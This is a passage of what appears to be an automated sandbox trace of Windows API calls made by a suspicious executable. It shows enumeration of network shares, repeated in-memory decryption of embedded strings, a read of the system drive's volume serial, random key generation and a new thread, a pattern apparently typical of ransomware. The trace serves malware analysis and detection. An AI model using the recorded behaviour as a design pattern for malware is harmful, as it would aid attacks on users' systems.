(dwErrCode=0xcb) [0036.574] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.575] SetLastError (dwErrCode=0xcb) [0036.575] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.576] SetLastError (dwErrCode=0xcb) [0036.576] GetLastError () returned 0xcb [0036.577] SetLastError (dwErrCode=0xcb) [0036.577] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4000) returned 0x307f40 [0036.577] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x30bf48 [0036.584] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xacfb0c | out: lphEnum=0xacfb0c*=0x738208) returned 0x0 [0037.049] WNetEnumResourceW (in: hEnum=0x738208, lpcCount=0xacfb04, lpBuffer=0x307f40, lpBufferSize=0xacfb10 | out: lpcCount=0xacfb04, lpBuffer=0x307f40, lpBufferSize=0xacfb10) returned 0x0 [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb014d0, Size=0x64) returned 0xb05e90 [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.051] SetLastError (dwErrCode=0x2) [0037.051] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.052] SetLastError (dwErrCode=0x2) [0037.052] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] GetLastError () returned 0x2 [0037.053] SetLastError (dwErrCode=0x2) [0037.053] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb05f00 [0037.053] CryptImportKey (in: hProv=0x735018, pbData=0xacfa3c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacfaa4 | out: phKey=0xacfaa4*=0x7400f0) returned 1 [0037.053] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacfa8c, dwFlags=0x0) returned 1 [0037.053] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0xacfa58 | out: pbData=0xb05f00, pdwDataLen=0xacfa58) returned 1 [0037.053] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.053] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb05f28 [0037.053] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014d0 [0037.053] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0037.053] CryptImportKey (in: hProv=0x735018, pbData=0xacfa14*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacfa7c | out: phKey=0xacfa7c*=0x7400f0) returned 1 [0037.053] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacfa64, dwFlags=0x0) returned 1 [0037.053] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0xacfa30 | out: pbData=0xb0ab38, pdwDataLen=0xacfa30) returned 1 [0037.053] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.054] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0037.054] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb05f28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.054] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0037.055] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0037.055] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xacfae4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xacfae4*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.055] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f28 | out: hHeap=0xb00000) returned 1 [0037.055] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb017a8 [0037.055] CryptImportKey (in: hProv=0x735018, pbData=0xacf988*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9f0 | out: phKey=0xacf9f0*=0x7400f0) returned 1 [0037.055] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacf9d8, dwFlags=0x0) returned 1 [0037.055] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb017a8, pdwDataLen=0xacf9a4 | out: pbData=0xb017a8, pdwDataLen=0xacf9a4) returned 1 [0037.055] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.055] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05f00 [0037.055] CryptImportKey (in: hProv=0x735018, pbData=0xacf980*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9e8 | out: phKey=0xacf9e8*=0x7400f0) returned 1 [0037.055] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacf9d0, dwFlags=0x0) returned 1 [0037.055] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0xacf99c | out: pbData=0xb05f00, pdwDataLen=0xacf99c) returned 1 [0037.055] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.055] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05f18 [0037.055] CryptImportKey (in: hProv=0x735018, pbData=0xacf978*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9e0 | out: phKey=0xacf9e0*=0x7400f0) returned 1 [0037.055] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacf9c8, dwFlags=0x0) returned 1 [0037.056] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f18, pdwDataLen=0xacf994 | out: pbData=0xb05f18, pdwDataLen=0xacf994) returned 1 [0037.056] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0037.056] CryptImportKey (in: hProv=0x735018, pbData=0xacf970*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9d8 | out: phKey=0xacf9d8*=0x7400f0) returned 1 [0037.056] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacf9c0, dwFlags=0x0) returned 1 [0037.056] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0xacf98c | out: pbData=0xb0ab38, pdwDataLen=0xacf98c) returned 1 [0037.056] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05f30 [0037.056] CryptImportKey (in: hProv=0x735018, pbData=0xacf968*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9d0 | out: phKey=0xacf9d0*=0x7400f0) returned 1 [0037.056] CryptSetKeyParam (hKey=0x7400f0, dwParam=0x1, pbData=0xacf9b8, dwFlags=0x0) returned 1 [0037.056] CryptDecrypt (in: hKey=0x7400f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f30, pdwDataLen=0xacf984 | out: pbData=0xb05f30, pdwDataLen=0xacf984) returned 1 [0037.056] CryptDestroyKey (hKey=0x7400f0) returned 1 [0037.056] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0037.056] CryptGenRandom (in: hProv=0x735018, dwLen=0x20, pbBuffer=0xacfa98 | out: pbBuffer=0xacfa98) returned 1 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x28) returned 0xb014d0 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb01500 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb05f48 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x14) returned 0xb01518 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0x306f90 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0x306fa8 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0x307030 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0x307048 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0x3070d8 [0037.056] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb01740 [0037.056] CryptAcquireContextW (in: phProv=0xb8fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb8fcf4*=0x740238) returned 1 [0037.057] CryptGenRandom (in: hProv=0x740238, dwLen=0x55, pbBuffer=0xacfa1a | out: pbBuffer=0xacfa1a) returned 1 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0x3070f0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0x307108 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0x307190 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x2) returned 0xb04fa0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb04fb0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb04fd8 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0xb053c0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb04ff0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb05448 [0037.057] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb04fa0, Size=0x82) returned 0xb05458 [0037.057] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb05448, Size=0x100) returned 0xb054e8 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05008 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0xb055f0 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05020 [0037.057] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0xb05680 [0037.058] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb05458, Size=0x104) returned 0xb05710 [0037.058] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb054e8, Size=0x200) returned 0xb05820 [0037.058] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fb0 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05820 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04ff0 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307108 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb053c0 | out: hHeap=0xb00000) returned 1 [0037.059] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fd8 | out: hHeap=0xb00000) returned 1 [0037.060] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05710 | out: hHeap=0xb00000) returned 1 [0037.060] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307190 | out: hHeap=0xb00000) returned 1 [0037.060] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb055f0 | out: hHeap=0xb00000) returned 1 [0037.060] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05008 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05680 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05020 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f48 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01500 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307048 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307030 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x306fa8 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x306f90 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01740 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070d8 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01518 | out: hHeap=0xb00000) returned 1 [0037.061] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xa4) returned 0x306f90 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0037.061] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f18 | out: hHeap=0xb00000) returned 1 [0037.062] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0037.062] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f30 | out: hHeap=0xb00000) returned 1 [0037.062] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x14) returned 0xb04fa0 [0037.062] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x3c) returned 0xb05f00 [0037.062] ResetEvent (hEvent=0xa4) returned 1 [0037.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb83bdf, lpParameter=0xb04fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0037.063] CloseHandle (hObject=0x140) returned 1 [0037.063] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb014d0 [0037.063] CryptImportKey (in: hProv=0x735018, pbData=0xacfa3c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacfaa4 | out: phKey=0xacfaa4*=0x7401c0) returned 1 [0037.063] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacfa8c, dwFlags=0x0) returned 1 [0037.063] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014d0, pdwDataLen=0xacfa58 | out: pbData=0xb014d0, pdwDataLen=0xacfa58) returned 1 [0037.063] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.063] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014f8 [0037.063] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0x307040 [0037.063] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0037.063] CryptImportKey (in: hProv=0x735018, pbData=0xacfa14*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacfa7c | out: phKey=0xacfa7c*=0x7401c0) returned 1 [0037.063] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacfa64, dwFlags=0x0) returned 1 [0037.063] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0xacfa30 | out: pbData=0xb0ab38, pdwDataLen=0xacfa30) returned 1 [0037.063] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.063] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0037.064] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.064] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307040 | out: hHeap=0xb00000) returned 1 [0037.064] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0037.064] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xacfae4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xacfae4*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.064] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f8 | out: hHeap=0xb00000) returned 1 [0037.064] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05020 [0037.064] CryptImportKey (in: hProv=0x735018, pbData=0xacf988*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9f0 | out: phKey=0xacf9f0*=0x7401c0) returned 1 [0037.064] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacf9d8, dwFlags=0x0) returned 1 [0037.064] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05020, pdwDataLen=0xacf9a4 | out: pbData=0xb05020, pdwDataLen=0xacf9a4) returned 1 [0037.064] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.064] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05008 [0037.064] CryptImportKey (in: hProv=0x735018, pbData=0xacf980*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9e8 | out: phKey=0xacf9e8*=0x7401c0) returned 1 [0037.064] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacf9d0, dwFlags=0x0) returned 1 [0037.064] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05008, pdwDataLen=0xacf99c | out: pbData=0xb05008, pdwDataLen=0xacf99c) returned 1 [0037.064] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.064] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb04fd8 [0037.064] CryptImportKey (in: hProv=0x735018, pbData=0xacf978*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9e0 | out: phKey=0xacf9e0*=0x7401c0) returned 1 [0037.064] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacf9c8, dwFlags=0x0) returned 1 [0037.064] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb04fd8, pdwDataLen=0xacf994 | out: pbData=0xb04fd8, pdwDataLen=0xacf994) returned 1 [0037.065] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0037.065] CryptImportKey (in: hProv=0x735018, pbData=0xacf970*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9d8 | out: phKey=0xacf9d8*=0x7401c0) returned 1 [0037.065] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacf9c0, dwFlags=0x0) returned 1 [0037.065] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0xacf98c | out: pbData=0xb0ab38, pdwDataLen=0xacf98c) returned 1 [0037.065] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb04ff0 [0037.065] CryptImportKey (in: hProv=0x735018, pbData=0xacf968*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xacf9d0 | out: phKey=0xacf9d0*=0x7401c0) returned 1 [0037.065] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0xacf9b8, dwFlags=0x0) returned 1 [0037.065] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb04ff0, pdwDataLen=0xacf984 | out: pbData=0xb04ff0, pdwDataLen=0xacf984) returned 1 [0037.065] CryptDestroyKey (hKey=0x7401c0) returned 1 [0037.065] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0037.065] CryptGenRandom (in: hProv=0x735018, dwLen=0x20, pbBuffer=0xacfa98 | out: pbBuffer=0xacfa98) returned 1 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x28) returned 0xb014d0 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05038 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb05f48 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x14) returned 0xb01500 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05050 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0x307040 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05068 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0x3070c8 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05080 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb053d8 [0037.065] CryptGenRandom (in: hProv=0x740238, dwLen=0x55, pbBuffer=0xacfa1a | out: pbBuffer=0xacfa1a) returned 1 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05098 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0xb057c0 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb050b0 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x2) returned 0xb053e8 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb053f8 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb050c8 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x80) returned 0xb05848 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb050e0 [0037.065] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4) returned 0xb05408 [0037.065] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb053e8, Size=0x82) returned 0xb058d0 [0037.065] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb05408, Size=0x100) returned 0x31bf50 [0037.066] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb050f8 [0037.066] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0xb05960 [0037.066] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb05110 [0037.066] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x82) returned 0x31c058 [0037.066] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb058d0, Size=0x104) returned 0x31c0e8 [0037.066] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0x31bf50, Size=0x200) returned 0x31c1f8 [0037.066] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb053f8 | out: hHeap=0xb00000) returned 1 [0037.067] HeapFree (in: hHeap=0xb00000, 